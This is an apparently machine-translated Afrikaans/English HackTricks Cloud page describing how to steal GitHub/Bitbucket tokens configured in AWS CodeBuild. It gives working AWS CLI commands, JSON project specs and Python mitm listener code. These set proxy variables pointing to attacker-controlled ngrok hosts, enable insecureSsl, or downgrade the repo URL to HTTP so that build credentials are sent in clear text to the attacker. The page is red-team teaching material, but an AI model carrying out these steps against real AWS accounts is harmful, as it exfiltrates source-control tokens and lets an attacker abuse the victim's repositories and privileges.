AWS Codebuild - Token Leakage
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Herstel Github/Bitbucket-gekonfigureerde Tokens
Eerstens, kyk of daar enige bron-inlogbewyse gekonfigureer is wat jy kan leak:
aws codebuild list-source-credentials
Deur Docker-image
Indien jy sien dat authentisering, byvoorbeeld vir Github, in die account ingestel is, kan jy daardie exfiltrate daardie access (GH token or OAuth token) bewerkstellig deur Codebuild ’n spesifieke Docker-image te laat gebruik om die build van die projek uit te voer.
Vir hierdie doel kan jy ’n nuwe Codebuild project skep of die omgewing van ’n bestaande een verander om die Docker image te stel.
Die Docker-image wat jy kan gebruik is https://github.com/carlospolop/docker-mitm. Dit is ’n baie basiese Docker-image wat die env variables https_proxy, http_proxy en SSL_CERT_FILE sal stel. Dit sal jou toelaat om die meeste verkeer van die gasheer aangedui in https_proxy en http_proxy te onderskep en die SSL CERT aangedui in SSL_CERT_FILE te vertrou.
- Skep & laai op jou eie Docker MitM-image
- Volg die instruksies in die repo om jou proxy IP-adres en SSL-cert in te stel en bou die Docker-image.
- STEL NIE
http_proxyNIE om nie versoeke na die metadata endpoint te onderskep nie. - Jy kan
ngrokgebruik soosngrok tcp 4444om die proxy na jou host te stel - Sodra jy die Docker-image gebou het, laai dit op na ’n openbare repo (Dockerhub, ECR…)
- Stel die omgewing
- Skep ’n nuwe Codebuild project of wysig die omgewing van ’n bestaande een.
- Stel die projek om die vorheen gegenereerde Docker-image te gebruik
.png)
- Stel die MitM-proxy op jou host
- Soos aangedui in die Github repo kan jy iets soos gebruik:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
Die mitmproxy-weergawe wat gebruik is, was 9.0.1, dit is gerapporteer dat dit met weergawe 10 moontlik nie sal werk nie.
- Voer die build uit & vang die credentials op
- Jy kan die token in die Authorization header sien:
.png)
Dit kan ook vanaf die aws cli gedoen word met iets soos
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Deur insecureSSL
Codebuild projects het ’n instelling genaamd insecureSsl wat in die web UI versteek is — jy kan dit slegs via die API verander.
As dit aangeskakel is, laat dit Codebuild toe om met die repository te koppel sonder om die sertifikaat te verifieer wat deur die platform aangebied word.
- Eerstens moet jy die huidige konfigurasie opvra met iets soos:
aws codebuild batch-get-projects --name <proj-name>
- Dan, met die ingesamelde inligting kan jy die projekinstelling
insecureSslopTrueopdateer. Die volgende is ’n voorbeeld van hoe ek ’n projek opdateer, let op dieinsecureSsl=Trueaan die einde (dit is die enigste ding wat jy hoef te verander van die ingesamelde konfigurasie). - Boonop voeg ook die omgewingsveranderlikes http_proxy en https_proxy by wat na jou tcp ngrok wys soos:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Voer dan die basiese voorbeeld van https://github.com/synchronizing/mitm uit op die poort waarna die proxy-veranderlikes (http_proxy en https_proxy) wys
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Laastens, klik op Build the project, die credentials sal in clear text (base64) na die mitm-poort gestuur word:
 (1).png)
Via HTTP-protocol
[!TIP] > Hierdie kwetsbaarheid is deur AWS op een of ander tydstip in die week van die 20ste Feb 2023 reggestel (ek dink Vrydag). Dus kan ’n attacker dit nie meer misbruik nie :)
’n attacker met elevated permissions in over a CodeBuild could leak the Github/Bitbucket token wat gekonfigureer is, of as permissions via OAuth gekonfigureer is, die temporary OAuth token used to access the code.
- ’n attacker kan die environment variables http_proxy en https_proxy by die CodeBuild project voeg wat na sy masjien wys (byvoorbeeld
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Verander dan die URL van die github repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld:
http://github.com/carlospolop-forks/TestActions - Begin dan die basiese voorbeeld vanaf https://github.com/synchronizing/mitm op die poort waarna die proxy variables (http_proxy and https_proxy) wys
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Volgende, klik op Build the project of begin die build vanaf die opdraglyn:
aws codebuild start-build --project-name <proj-name>
- Laastens sal die credentials in clear text (base64) na die mitm port gestuur word:
.png)
Warning
Nou sal ’n attacker die token vanaf sy masjien kan gebruik, alle privileges wat dit het kan lys en dit makliker kan (ab)use as om die CodeBuild service direk te gebruik.
Untrusted PR execution via webhook filter misconfiguration
Vir die PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), sien:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

